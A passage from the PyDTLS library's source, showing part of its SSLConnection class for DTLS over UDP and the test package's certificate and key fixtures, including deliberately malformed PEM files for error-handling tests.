ones of the SSLSocket class in the 518 | standard library's ssl module 519 | """ 520 | 521 | if keyfile and not certfile or certfile and not keyfile: 522 | raise_ssl_error(ERR_BOTH_KEY_CERT_FILES) 523 | if server_side and not keyfile: 524 | raise_ssl_error(ERR_BOTH_KEY_CERT_FILES_SVR) 525 | if cert_reqs != CERT_NONE and not ca_certs: 526 | raise_ssl_error(ERR_NO_CERTS) 527 | 528 | if not ciphers: 529 | ciphers = "DEFAULT" 530 | 531 | self._sock = sock 532 | self._keyfile = keyfile 533 | self._certfile = certfile 534 | self._cert_reqs = cert_reqs 535 | self._ssl_version = ssl_version 536 | self._ca_certs = ca_certs 537 | self._do_handshake_on_connect = do_handshake_on_connect 538 | self._suppress_ragged_eofs = suppress_ragged_eofs 539 | self._ciphers = ciphers 540 | self._handshake_done = False 541 | self._wbio_nb = self._rbio_nb = False 542 | 543 | self._user_config_ssl_ctx = cb_user_config_ssl_ctx 544 | self._intf_ssl_ctx = None 545 | self._user_config_ssl = cb_user_config_ssl 546 | self._intf_ssl = None 547 | 548 | if isinstance(sock, SSLConnection): 549 | post_init = self._copy_server() 550 | elif isinstance(sock, _UnwrappedSocket): 551 | post_init = self._reconnect_unwrapped() 552 | else: 553 | try: 554 | peer_address = sock.getpeername() 555 | except socket.error: 556 | peer_address = None 557 | if server_side: 558 | post_init = self._init_server(peer_address) 559 | else: 560 | post_init = self._init_client(peer_address) 561 | 562 | if self._user_config_ssl: 563 | self._user_config_ssl(self._intf_ssl) 564 | 565 | if sys.platform.startswith('win') and \ 566 | not (SSL_get_options(self._ssl.value) & SSL_OP_NO_QUERY_MTU): 567 | SSL_set_options(self._ssl.value, SSL_OP_NO_QUERY_MTU) 568 | DTLS_set_link_mtu(self._ssl.value, 576) 569 | 570 | SSL_set_bio(self._ssl.value, self._rbio.value, self._wbio.value) 571 | self._rbio.disown() 572 | self._wbio.disown() 573 | if post_init: 574 | post_init() 575 | def get_socket(self, inbound): 576 | """Retrieve a socket used by this connection 577 | 578 | When inbound is True, then the socket from which this connection reads 579 | data is retrieved. Otherwise the socket to which this connection writes 580 | data is retrieved. 581 | 582 | Read and write sockets differ depending on whether this is a server- or 583 | a client-side connection, and on whether a routing demux is in use. 584 | """ 585 | 586 | if inbound and hasattr(self, "_rsock"): 587 | return self._rsock 588 | return self._sock 589 | 590 | def listen(self): 591 | """Server-side cookie exchange 592 | 593 | This method reads datagrams from the socket and initiates cookie 594 | exchange, upon whose successful conclusion one can then proceed to 595 | the accept method. Alternatively, accept can be called directly, in 596 | which case it will call this method. In order to prevent denial-of- 597 | service attacks, only a small, constant set of computing resources 598 | are used during the listen phase. 599 | 600 | On some platforms, listen must be called so that packets will be 601 | forwarded to accepted connections. Doing so is therefore recommened 602 | in all cases for portable code. 603 | 604 | Return value: a peer address if a datagram from a new peer was 605 | encountered, None if a datagram for a known peer was forwarded 606 | """ 607 | 608 | if not hasattr(self, "_listening"): 609 | raise InvalidSocketError("listen called on non-listening socket") 610 | 611 | self._pending_peer_address = None 612 | try: 613 | peer_address = self._udp_demux.service() 614 | except socket.timeout: 615 | peer_address = None 616 | except socket.error as sock_err: 617 | if sock_err.errno != errno.EWOULDBLOCK: 618 | _logger.exception("Unexpected socket error in listen") 619 | raise 620 | peer_address = None 621 | 622 | if not peer_address: 623 | _logger.debug("Listen returning without peer") 624 | return 625 | 626 | # The demux advises that a datagram from a new peer may have arrived 627 | if type(peer_address) is tuple: 628 | # For this type of demux, the write BIO must be pointed at the peer 629 | BIO_dgram_set_peer(self._wbio.value, peer_address) 630 | self._udp_demux.forward() 631 | self._listening_peer_address = peer_address 632 | 633 | self._check_nbio() 634 | self._listening = True 635 | try: 636 | _logger.debug("Invoking DTLSv1_listen for ssl: %d", 637 | self._ssl.raw) 638 | dtls_peer_address = DTLSv1_listen(self._ssl.value) 639 | except openssl_error() as err: 640 | if err.ssl_error == SSL_ERROR_WANT_READ: 641 | # This method must be called again to forward the next datagram 642 | _logger.debug("DTLSv1_listen must be resumed") 643 | return 644 | elif err.errqueue and err.errqueue[0][0] == ERR_WRONG_VERSION_NUMBER: 645 | _logger.debug("Wrong version number; aborting handshake") 646 | raise 647 | elif err.errqueue and err.errqueue[0][0] == ERR_COOKIE_MISMATCH: 648 | _logger.debug("Mismatching cookie received; aborting handshake") 649 | raise 650 | elif err.errqueue and err.errqueue[0][0] == ERR_NO_SHARED_CIPHER: 651 | _logger.debug("No shared cipher; aborting handshake") 652 | raise 653 | _logger.exception("Unexpected error in DTLSv1_listen") 654 | raise 655 | finally: 656 | self._listening = False 657 | self._listening_peer_address = None 658 | if type(peer_address) is tuple: 659 | _logger.debug("New local peer: %s", dtls_peer_address) 660 | self._pending_peer_address = peer_address 661 | else: 662 | self._pending_peer_address = dtls_peer_address 663 | _logger.debug("New peer: %s", self._pending_peer_address) 664 | return self._pending_peer_address 665 | 666 | def accept(self): 667 | """Server-side UDP connection establishment 668 | 669 | This method returns a server-side SSLConnection object, connected to 670 | that peer most recently returned from the listen method and not yet 671 | connected. If there is no such peer, then the listen method is invoked. 672 | 673 | Return value: SSLConnection connected to a new peer, None if packet 674 | forwarding only to an existing peer occurred. 675 | """ 676 | 677 | if not self._pending_peer_address: 678 | if not self.listen(): 679 | _logger.debug("Accept returning without connection") 680 | return 681 | new_conn = SSLConnection(self, self._keyfile, self._certfile, True, 682 | self._cert_reqs, self._ssl_version, 683 | self._ca_certs, self._do_handshake_on_connect, 684 | self._suppress_ragged_eofs, self._ciphers, 685 | cb_user_config_ssl_ctx=self._user_config_ssl_ctx, 686 | cb_user_config_ssl=self._user_config_ssl) 687 | new_peer = self._pending_peer_address 688 | self._pending_peer_address = None 689 | if self._do_handshake_on_connect: 690 | # Note that since that connection's socket was just created in its 691 | # constructor, the following operation must be blocking; hence 692 | # handshake-on-connect can only be used with a routing demux if 693 | # listen is serviced by a separate application thread, or else we 694 | # will hang in this call 695 | new_conn.do_handshake() 696 | _logger.debug("Accept returning new connection for new peer") 697 | return new_conn, new_peer 698 | 699 | def connect(self, peer_address): 700 | """Client-side UDP connection establishment 701 | 702 | This method connects this object's underlying socket. It subsequently 703 | performs a handshake if do_handshake_on_connect was set during 704 | initialization. 705 | 706 | Arguments: 707 | peer_address - address tuple of server peer 708 | """ 709 | 710 | self._sock.connect(peer_address) 711 | peer_address = self._sock.getpeername() # substituted host addrinfo 712 | BIO_dgram_set_connected(self._wbio.value, peer_address) 713 | assert self._wbio is self._rbio 714 | if self._do_handshake_on_connect: 715 | self.do_handshake() 716 | 717 | def do_handshake(self): 718 | """Perform a handshake with the peer 719 | 720 | This method forces an explicit handshake to be performed with either 721 | the client or server peer. 722 | """ 723 | 724 | _logger.debug("Initiating handshake...") 725 | try: 726 | self._wrap_socket_library_call( 727 | lambda: SSL_do_handshake(self._ssl.value), 728 | ERR_HANDSHAKE_TIMEOUT) 729 | except openssl_error() as err: 730 | if err.ssl_error == SSL_ERROR_SYSCALL and err.result == -1: 731 | raise_ssl_error(ERR_PORT_UNREACHABLE, err) 732 | raise 733 | self._handshake_done = True 734 | _logger.debug("...completed handshake") 735 | 736 | def read(self, len=1024, buffer=None): 737 | """Read data from connection 738 | 739 | Read up to len bytes and return them. 740 | Arguments: 741 | len -- maximum number of bytes to read 742 | 743 | Return value: 744 | string containing read bytes 745 | """ 746 | 747 | try: 748 | return self._wrap_socket_library_call( 749 | lambda: SSL_read(self._ssl.value, len, buffer), ERR_READ_TIMEOUT) 750 | except openssl_error() as err: 751 | if err.ssl_error == SSL_ERROR_SYSCALL and err.result == -1: 752 | raise_ssl_error(ERR_PORT_UNREACHABLE, err) 753 | raise 754 | 755 | def write(self, data): 756 | """Write data to connection 757 | 758 | Write data as string of bytes. 759 | 760 | Arguments: 761 | data -- buffer containing data to be written 762 | 763 | Return value: 764 | number of bytes actually transmitted 765 | """ 766 | 767 | try: 768 | ret = self._wrap_socket_library_call( 769 | lambda: SSL_write(self._ssl.value, data), ERR_WRITE_TIMEOUT) 770 | except openssl_error() as err: 771 | if err.ssl_error == SSL_ERROR_SYSCALL and err.result == -1: 772 | raise_ssl_error(ERR_PORT_UNREACHABLE, err) 773 | raise 774 | if ret: 775 | self._handshake_done = True 776 | return ret 777 | 778 | def shutdown(self): 779 | """Shut down the DTLS connection 780 | 781 | This method attemps to complete a bidirectional shutdown between 782 | peers. For non-blocking sockets, it should be called repeatedly until 783 | it no longer raises continuation request exceptions. 784 | """ 785 | 786 | if hasattr(self, "_listening"): 787 | # Listening server-side sockets cannot be shut down 788 | return 789 | 790 | try: 791 | self._wrap_socket_library_call( 792 | lambda: SSL_shutdown(self._ssl.value), ERR_READ_TIMEOUT) 793 | except openssl_error() as err: 794 | if err.result == 0: 795 | # close-notify alert was just sent; wait for same from peer 796 | # Note: while it might seem wise to suppress further read-aheads 797 | # with SSL_set_read_ahead here, doing so causes a shutdown 798 | # failure (ret: -1, SSL_ERROR_SYSCALL) on the DTLS shutdown 799 | # initiator side. And test_starttls does pass. 800 | self._wrap_socket_library_call( 801 | lambda: SSL_shutdown(self._ssl.value), ERR_READ_TIMEOUT) 802 | else: 803 | raise 804 | if hasattr(self, "_rsock"): 805 | # Return wrapped connected server socket (non-listening) 806 | return _UnwrappedSocket(self._sock, self._rsock, self._udp_demux, 807 | self._ctx, 808 | BIO_dgram_get_peer(self._wbio.value)) 809 | # Return unwrapped client-side socket or unwrapped server-side socket 810 | # for single-socket servers 811 | return self._sock 812 | 813 | def getpeercert(self, binary_form=False): 814 | """Retrieve the peer's certificate 815 | 816 | When binary form is requested, the peer's DER-encoded certficate is 817 | returned if it was transmitted during the handshake. 818 | 819 | When binary form is not requested, and the peer's certificate has been 820 | validated, then a certificate dictionary is returned. If the certificate 821 | was not validated, an empty dictionary is returned. 822 | 823 | In all cases, None is returned if no certificate was received from the 824 | peer. 825 | """ 826 | 827 | try: 828 | peer_cert = _X509(SSL_get_peer_certificate(self._ssl.value)) 829 | except openssl_error(): 830 | return 831 | 832 | if binary_form: 833 | return i2d_X509(peer_cert.value) 834 | if self._cert_reqs == CERT_NONE: 835 | return {} 836 | return decode_cert(peer_cert) 837 | 838 | peer_certificate = getpeercert # compatibility with _ssl call interface 839 | 840 | def getpeercertchain(self, binary_form=False): 841 | try: 842 | stack, num, certs = SSL_get_peer_cert_chain(self._ssl.value) 843 | except openssl_error(): 844 | return 845 | 846 | peer_cert_chain = [_Rsrc(cert) for cert in certs] 847 | ret = [] 848 | if binary_form: 849 | ret = [i2d_X509(x.value) for x in peer_cert_chain] 850 | elif len(peer_cert_chain): 851 | ret = [decode_cert(x) for x in peer_cert_chain] 852 | 853 | return ret 854 | 855 | def cipher(self): 856 | """Retrieve information about the current cipher 857 | 858 | Return a triple consisting of cipher name, SSL protocol version defining 859 | its use, and the number of secret bits. Return None if handshaking 860 | has not been completed. 861 | """ 862 | 863 | if not self._handshake_done: 864 | return 865 | 866 | current_cipher = SSL_get_current_cipher(self._ssl.value) 867 | cipher_name = SSL_CIPHER_get_name(current_cipher) 868 | cipher_version = SSL_CIPHER_get_version(current_cipher) 869 | cipher_bits = SSL_CIPHER_get_bits(current_cipher) 870 | return cipher_name, cipher_version, cipher_bits 871 | 872 | def pending(self): 873 | """Retrieve number of buffered bytes 874 | 875 | Return the number of bytes that have been read from the socket and 876 | buffered by this connection. Return 0 if no bytes have been buffered. 877 | """ 878 | 879 | return SSL_pending(self._ssl.value) 880 | 881 | def get_timeout(self): 882 | """Retrieve the retransmission timedelta 883 | 884 | Since datagrams are subject to packet loss, DTLS will perform 885 | packet retransmission if a response is not received after a certain 886 | time interval during the handshaking phase. When using non-blocking 887 | sockets, the application must call back after that time interval to 888 | allow for the retransmission to occur. This method returns the 889 | timedelta after which to perform the call to handle_timeout, or None 890 | if no such callback is needed given the current handshake state. 891 | """ 892 | 893 | return DTLSv1_get_timeout(self._ssl.value) 894 | 895 | def handle_timeout(self): 896 | """Perform datagram retransmission, if required 897 | 898 | This method should be called after the timedelta retrieved from 899 | get_timeout has expired, and no datagrams were received in the 900 | meantime. If datagrams were received, a new timeout needs to be 901 | requested. 902 | 903 | Return value: 904 | True -- retransmissions were performed successfully 905 | False -- a timeout was not in effect or had not yet expired 906 | 907 | Exceptions: 908 | Raised when retransmissions fail or too many timeouts occur. 909 | """ 910 | 911 | return DTLSv1_handle_timeout(self._ssl.value) 912 | 913 | 914 | class _UnwrappedSocket(socket.socket): 915 | """Unwrapped server-side socket 916 | 917 | Depending on UDP demux implementation, there may not be single socket 918 | that can be used for both reading and writing to the client socket with 919 | which it is associated. An object of this type is therefore returned from 920 | the SSLSocket's unwrap method to allow for unencrypted communication over 921 | the established channels, including the demux. 922 | """ 923 | 924 | def __init__(self, wsock, rsock, demux, ctx, peer_address): 925 | socket.socket.__init__(self, _sock=rsock._sock) 926 | for attr in "send", "sendto", "sendall": 927 | try: 928 | delattr(self, attr) 929 | except AttributeError: 930 | pass 931 | self._wsock = wsock 932 | self._rsock = rsock # continue to reference to hold in demux map 933 | self._demux = demux 934 | self._ctx = ctx 935 | self._peer_address = peer_address 936 | 937 | def send(self, data, flags=0): 938 | __doc__ = self._wsock.send.__doc__ 939 | return self._wsock.sendto(data, flags, self._peer_address) 940 | 941 | def sendto(self, data, flags_or_addr, addr=None): 942 | __doc__ = self._wsock.sendto.__doc__ 943 | return self._wsock.sendto(data, flags_or_addr, addr) 944 | 945 | def sendall(self, data, flags=0): 946 | __doc__ = self._wsock.sendall.__doc__ 947 | amount = len(data) 948 | count = 0 949 | while (count < amount): 950 | v = self.send(data[count:], flags) 951 | count += v 952 | return amount 953 | 954 | def getpeername(self): 955 | __doc__ = self._wsock.getpeername.__doc__ 956 | return self._peer_address 957 | 958 | def connect(self, addr): 959 | __doc__ = self._wsock.connect.__doc__ 960 | raise ValueError("Cannot connect already connected unwrapped socket") 961 | 962 | connect_ex = connect 963 | -------------------------------------------------------------------------------- /pydtls/dtls/test/__init__.py: -------------------------------------------------------------------------------- 1 | # Test: unit tests for PyDTLS. 2 | 3 | # Copyright 2012 Ray Brown 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # http://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # The License is also distributed with this work in the file named "LICENSE." 12 | # 13 | # Unless required by applicable law or agreed to in writing, software 14 | # distributed under the License is distributed on an "AS IS" BASIS, 15 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | # See the License for the specific language governing permissions and 17 | # limitations under the License. 18 | 19 | """PyDTLs unit tests 20 | 21 | This package contains unit tests and other test scripts and resources. 22 | """ 23 | -------------------------------------------------------------------------------- /pydtls/dtls/test/certs/badcert.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIICXwIBAAKBgQC8ddrhm+LutBvjYcQlnH21PPIseJ1JVG2HMmN2CmZk2YukO+9L 3 | opdJhTvbGfEj0DQs1IE8M+kTUyOmuKfVrFMKwtVeCJphrAnhoz7TYOuLBSqt7lVH 4 | fhi/VwovESJlaBOp+WMnfhcduPEYHYx/6cnVapIkZnLt30zu2um+DzA9jQIDAQAB 5 | AoGBAK0FZpaKj6WnJZN0RqhhK+ggtBWwBnc0U/ozgKz2j1s3fsShYeiGtW6CK5nU 6 | D1dZ5wzhbGThI7LiOXDvRucc9n7vUgi0alqPQ/PFodPxAN/eEYkmXQ7W2k7zwsDA 7 | IUK0KUhktQbLu8qF/m8qM86ba9y9/9YkXuQbZ3COl5ahTZrhAkEA301P08RKv3KM 8 | oXnGU2UHTuJ1MAD2hOrPxjD4/wxA/39EWG9bZczbJyggB4RHu0I3NOSFjAm3HQm0 9 | ANOu5QK9owJBANgOeLfNNcF4pp+UikRFqxk5hULqRAWzVxVrWe85FlPm0VVmHbb/ 10 | loif7mqjU8o1jTd/LM7RD9f2usZyE2psaw8CQQCNLhkpX3KO5kKJmS9N7JMZSc4j 11 | oog58yeYO8BBqKKzpug0LXuQultYv2K4veaIO04iL9VLe5z9S/Q1jaCHBBuXAkEA 12 | z8gjGoi1AOp6PBBLZNsncCvcV/0aC+1se4HxTNo2+duKSDnbq+ljqOM+E7odU+Nq 13 | ewvIWOG//e8fssd0mq3HywJBAJ8l/c8GVmrpFTx8r/nZ2Pyyjt3dH1widooDXYSV 14 | q6Gbf41Llo5sYAtmxdndTLASuHKecacTgZVhy0FryZpLKrU= 15 | -----END RSA PRIVATE KEY----- 16 | -----BEGIN CERTIFICATE----- 17 | Just bad cert data 18 | -----END CERTIFICATE----- 19 | -----BEGIN RSA PRIVATE KEY----- 20 | MIICXwIBAAKBgQC8ddrhm+LutBvjYcQlnH21PPIseJ1JVG2HMmN2CmZk2YukO+9L 21 | opdJhTvbGfEj0DQs1IE8M+kTUyOmuKfVrFMKwtVeCJphrAnhoz7TYOuLBSqt7lVH 22 | fhi/VwovESJlaBOp+WMnfhcduPEYHYx/6cnVapIkZnLt30zu2um+DzA9jQIDAQAB 23 | AoGBAK0FZpaKj6WnJZN0RqhhK+ggtBWwBnc0U/ozgKz2j1s3fsShYeiGtW6CK5nU 24 | D1dZ5wzhbGThI7LiOXDvRucc9n7vUgi0alqPQ/PFodPxAN/eEYkmXQ7W2k7zwsDA 25 | IUK0KUhktQbLu8qF/m8qM86ba9y9/9YkXuQbZ3COl5ahTZrhAkEA301P08RKv3KM 26 | oXnGU2UHTuJ1MAD2hOrPxjD4/wxA/39EWG9bZczbJyggB4RHu0I3NOSFjAm3HQm0 27 | ANOu5QK9owJBANgOeLfNNcF4pp+UikRFqxk5hULqRAWzVxVrWe85FlPm0VVmHbb/ 28 | loif7mqjU8o1jTd/LM7RD9f2usZyE2psaw8CQQCNLhkpX3KO5kKJmS9N7JMZSc4j 29 | oog58yeYO8BBqKKzpug0LXuQultYv2K4veaIO04iL9VLe5z9S/Q1jaCHBBuXAkEA 30 | z8gjGoi1AOp6PBBLZNsncCvcV/0aC+1se4HxTNo2+duKSDnbq+ljqOM+E7odU+Nq 31 | ewvIWOG//e8fssd0mq3HywJBAJ8l/c8GVmrpFTx8r/nZ2Pyyjt3dH1widooDXYSV 32 | q6Gbf41Llo5sYAtmxdndTLASuHKecacTgZVhy0FryZpLKrU= 33 | -----END RSA PRIVATE KEY----- 34 | -----BEGIN CERTIFICATE----- 35 | Just bad cert data 36 | -----END CERTIFICATE----- 37 | -------------------------------------------------------------------------------- /pydtls/dtls/test/certs/badkey.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | Bad Key, though the cert should be OK 3 | -----END RSA PRIVATE KEY----- 4 | -----BEGIN CERTIFICATE----- 5 | MIICpzCCAhCgAwIBAgIJAP+qStv1cIGNMA0GCSqGSIb3DQEBBQUAMIGJMQswCQYD 6 | VQQGEwJVUzERMA8GA1UECBMIRGVsYXdhcmUxEzARBgNVBAcTCldpbG1pbmd0b24x 7 | IzAhBgNVBAoTGlB5dGhvbiBTb2Z0d2FyZSBGb3VuZGF0aW9uMQwwCgYDVQQLEwNT 8 | U0wxHzAdBgNVBAMTFnNvbWVtYWNoaW5lLnB5dGhvbi5vcmcwHhcNMDcwODI3MTY1 9 | NDUwWhcNMTMwMjE2MTY1NDUwWjCBiTELMAkGA1UEBhMCVVMxETAPBgNVBAgTCERl 10 | bGF3YXJlMRMwEQYDVQQHEwpXaWxtaW5ndG9uMSMwIQYDVQQKExpQeXRob24gU29m 11 | dHdhcmUgRm91bmRhdGlvbjEMMAoGA1UECxMDU1NMMR8wHQYDVQQDExZzb21lbWFj 12 | aGluZS5weXRob24ub3JnMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC8ddrh 13 | m+LutBvjYcQlnH21PPIseJ1JVG2HMmN2CmZk2YukO+9LopdJhTvbGfEj0DQs1IE8 14 | M+kTUyOmuKfVrFMKwtVeCJphrAnhoz7TYOuLBSqt7lVHfhi/VwovESJlaBOp+WMn 15 | fhcduPEYHYx/6cnVapIkZnLt30zu2um+DzA9jQIDAQABoxUwEzARBglghkgBhvhC 16 | AQEEBAMCBkAwDQYJKoZIhvcNAQEFBQADgYEAF4Q5BVqmCOLv1n8je/Jw9K669VXb 17 | 08hyGzQhkemEBYQd6fzQ9A/1ZzHkJKb1P6yreOLSEh4KcxYPyrLRC1ll8nr5OlCx 18 | CMhKkTnR6qBsdNV0XtdU2+N25hqW+Ma4ZeqsN/iiJVCGNOZGnvQuvCAGWF8+J/f/ 19 | iHkC6gGdBJhogs4= 20 | -----END CERTIFICATE----- 21 | -----BEGIN RSA PRIVATE KEY----- 22 | Bad Key, though the cert should be OK 23 | -----END RSA PRIVATE KEY----- 24 | -----BEGIN CERTIFICATE----- 25 | MIICpzCCAhCgAwIBAgIJAP+qStv1cIGNMA0GCSqGSIb3DQEBBQUAMIGJMQswCQYD 26 | VQQGEwJVUzERMA8GA1UECBMIRGVsYXdhcmUxEzARBgNVBAcTCldpbG1pbmd0b24x 27 | IzAhBgNVBAoTGlB5dGhvbiBTb2Z0d2FyZSBGb3VuZGF0aW9uMQwwCgYDVQQLEwNT 28 | U0wxHzAdBgNVBAMTFnNvbWVtYWNoaW5lLnB5dGhvbi5vcmcwHhcNMDcwODI3MTY1 29 | NDUwWhcNMTMwMjE2MTY1NDUwWjCBiTELMAkGA1UEBhMCVVMxETAPBgNVBAgTCERl 30 | bGF3YXJlMRMwEQYDVQQHEwpXaWxtaW5ndG9uMSMwIQYDVQQKExpQeXRob24gU29m 31 | dHdhcmUgRm91bmRhdGlvbjEMMAoGA1UECxMDU1NMMR8wHQYDVQQDExZzb21lbWFj 32 | aGluZS5weXRob24ub3JnMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC8ddrh 33 | m+LutBvjYcQlnH21PPIseJ1JVG2HMmN2CmZk2YukO+9LopdJhTvbGfEj0DQs1IE8 34 | M+kTUyOmuKfVrFMKwtVeCJphrAnhoz7TYOuLBSqt7lVHfhi/VwovESJlaBOp+WMn 35 | fhcduPEYHYx/6cnVapIkZnLt30zu2um+DzA9jQIDAQABoxUwEzARBglghkgBhvhC 36 | AQEEBAMCBkAwDQYJKoZIhvcNAQEFBQADgYEAF4Q5BVqmCOLv1n8je/Jw9K669VXb 37 | 08hyGzQhkemEBYQd6fzQ9A/1ZzHkJKb1P6yreOLSEh4KcxYPyrLRC1ll8nr5OlCx 38 | CMhKkTnR6qBsdNV0XtdU2+N25hqW+Ma4ZeqsN/iiJVCGNOZGnvQuvCAGWF8+J/f/ 39 | iHkC6gGdBJhogs4= 40 | -----END CERTIFICATE----- 41 | -------------------------------------------------------------------------------- /pydtls/dtls/test/certs/ca-cert.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIICCzCCAXQCCQCwvSKaN4J3cTANBgkqhkiG9w0BAQUFADBKMQswCQYDVQQGEwJV 3 | UzETMBEGA1UECBMKV2FzaGluZ3RvbjETMBEGA1UEChMKUmF5IENBIEluYzERMA8G 4 | A1UEAxMIUmF5Q0FJbmMwHhcNMTQwMTE4MjEwMjUwWhcNMjQwMTE2MjEwMjUwWjBK 5 | MQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjETMBEGA1UEChMKUmF5 6 | IENBIEluYzERMA8GA1UEAxMIUmF5Q0FJbmMwgZ8wDQYJKoZIhvcNAQEBBQADgY0A 7 | MIGJAoGBAN/UYXt4uq+YdTDnm7WPCu+0B50kJXWU3sSS+WAAhr3BHh7qa7UTiRXy 8 | yGYysgvtwriETAZRckzd+hdblNRUWXGJdRvtyx94nLpPpI8p4djBrJ5IMPqK5SgW 9 | ZP4XTWs694VtUBAvHCX+Ly+t0O5Rw3NmqxY1MakooqU9t+wL0H0TAgMBAAEwDQYJ 10 | KoZIhvcNAQEFBQADgYEANemjvYCJrTc/6im0DmDC6AW8KrLG0xj31HWpq1dO9LG7 11 | mlVFgbVtbcuCZgA78kxgw1vN6kBBLEsAJC8gkg++AO/w3a4oP+U9txAr9KRg6IGA 12 | FiUohuWbjKBnQEpceoECgrymooF3ayzke/vf3wcMYy153uC+H4t96Yc5T066c4o= 13 | -----END CERTIFICATE----- 14 | -------------------------------------------------------------------------------- /pydtls/dtls/test/certs/ca-cert_ec.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIBgzCCASoCCQDdMwvUA/R3lzAKBggqhkjOPQQDAzBKMQswCQYDVQQGEwJVUzET 3 | MBEGA1UECAwKV2FzaGluZ3RvbjETMBEGA1UECgwKUmF5IENBIEluYzERMA8GA1UE 4 | AwwIUmF5Q0FJbmMwHhcNMTcwMzA3MDgzNjU3WhcNMjcwMzA1MDgzNjU3WjBKMQsw 5 | CQYDVQQGEwJVUzETMBEGA1UECAwKV2FzaGluZ3RvbjETMBEGA1UECgwKUmF5IENB 6 | IEluYzERMA8GA1UEAwwIUmF5Q0FJbmMwWTATBgcqhkjOPQIBBggqhkjOPQMBBwNC 7 | AASD4xiQkPryjEwUl/GYeGu1CSA3UC6BUY3TiGED3zrC5Bn/POaVVn9GGOQMZUFi 8 | rCkuTgfg/qeIzTrTFndiR5C/MAoGCCqGSM49BAMDA0cAMEQCIHpd9qMvZZV6iaB5 9 | HrmlyfmhIuLBxDQra20Uxl2Y8N64AiAmPKqwPPp7z6IT2AzAXyHCPoVxwWA0NfGx 10 | nmXoYpDFlw== 11 | -----END CERTIFICATE----- 12 | -------------------------------------------------------------------------------- /pydtls/dtls/test/certs/keycert.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PRIVATE KEY----- 2 | MIICdgIBADANBgkqhkiG9w0BAQEFAASCAmAwggJcAgEAAoGBANjL+g7MpTEB40Vo 3 | 2pxWbx33YwgXQ6QbnLg1QyKlrH6DEEotyDRWI/ZftvWbjGUh0zUGhQaLzF3ZNgdM 4 | VkF5j0wCgRdwPon1ct5wJUg6GCWvfi4B/HlQrWg8JDaWoGuDcTqLh6KYfDdWTlWC 5 | Bq3pOW14gVe3d12R8Bxu9PCK8jrvAgMBAAECgYAQFjqs5HSRiWFS4i/uj99Y6uV3 6 | UTqcr8vWQ2WC6aY+EP2hc3o6n/W1L28FFJC7ZGImuiAe1zrH7/k5W2m/HAUM7M9p 7 | oBcp7ZVMFU6R00cQWVKCpQRCpNHnn+tVJdRGiHRj9836/u2z3shBxDYgXJIR787V 8 | SlBXkCcsi0Clem5ocQJBAPp/0tF4CpoaOCAnNN+rDjPNGcH57lmpSZBMXZVAVCRq 9 | vJDdH9SIcb19gKToCF1MUd7CJWbSHKxh49Hr+prBW8cCQQDdjrH8EZ4CDYvoJbVX 10 | iWFfbh6lPwv8uaj43HoHq4+51mhHvLxO8a1AKMSgD2cg7yJYYIpTTAf21gqU3Yt9 11 | wJeZAkEAl75e4u0o3vkLDs8xRFzGmbKg69SPAll+ap8YAZWaYwUVfVu2MHUHEZa5 12 | GyxEBOB6p8pMBeE55WLXMw8UHDMNeQJADEWRGjMnm1mAvFUKXFThrdV9oQ2C7nai 13 | I1ai87XO+i4kDIUpsP216O3ZJjx0K+DS+C4wuzhk4IkugNxck5SNUQJASxf8E4z5 14 | W5rP2XXIohGpDyzI+criUYQ6340vKB9bPsCQ2QooQq1BH0wGA2fY82Kr95E8KhUo 15 | zGoP1DtpzgwOQg== 16 | -----END PRIVATE KEY----- 17 | -----BEGIN CERTIFICATE----- 18 | MIICDTCCAXYCCQCxc2uXBLZhDjANBgkqhkiG9w0BAQUFADBKMQswCQYDVQQGEwJV 19 | UzETMBEGA1UECBMKV2FzaGluZ3RvbjETMBEGA1UEChMKUmF5IENBIEluYzERMA8G 20 | A1UEAxMIUmF5Q0FJbmMwHhcNMTQwMTE4MjEwMjUwWhcNMjQwMTE2MjEwMjUwWjBM 21 | MQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEUMBIGA1UEChMLUmF5 22 | IFNydiBJbmMxEjAQBgNVBAMTCVJheVNydkluYzCBnzANBgkqhkiG9w0BAQEFAAOB 23 | jQAwgYkCgYEA2Mv6DsylMQHjRWjanFZvHfdjCBdDpBucuDVDIqWsfoMQSi3INFYj 24 | 9l+29ZuMZSHTNQaFBovMXdk2B0xWQXmPTAKBF3A+ifVy3nAlSDoYJa9+LgH8eVCt 25 | aDwkNpaga4NxOouHoph8N1ZOVYIGrek5bXiBV7d3XZHwHG708IryOu8CAwEAATAN 26 | BgkqhkiG9w0BAQUFAAOBgQBw0XUTYzfiI0Fi9g4GuyWD2hjET3NtrT4Ccu+Jiivy 27 | EvwhzHtVGAPhrV+VCL8sS9uSOZlmfK/ZVraDiFGpJLDMvPP5y5fwq5VGrFuZispG 28 | X6bTBq2AIKzGGXxhwPqD8F7su7bmZDnZFRMRk2Bh16rv0mtzx9yHtqC5YJZ2a3JK 29 | 2g== 30 | -----END CERTIFICATE----- 31 | -------------------------------------------------------------------------------- /pydtls/dtls/test/certs/keycert_ec.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN EC PARAMETERS----- 2 | BggqhkjOPQMBBw== 3 | -----END EC PARAMETERS----- 4 | -----BEGIN EC PRIVATE KEY----- 5 | MHcCAQEEIEMWCku4TqKwrQdeECm5LQPCBnr7+cqE4InlRYeObLOxoAoGCCqGSM49 6 | AwEHoUQDQgAEgroFe2fym1V7E3zr/zjuJixpyAjwfig+UTsxxm/04IvXzk2jQCQC 7 | TgbDVohJ8dgh4iEENZv2axWye7XCBzbftQ== 8 | -----END EC PRIVATE KEY----- 9 | -----BEGIN CERTIFICATE----- 10 | MIIBhjCCASwCCQCZ3L2TA/e93zAKBggqhkjOPQQDAzBKMQswCQYDVQQGEwJVUzET 11 | 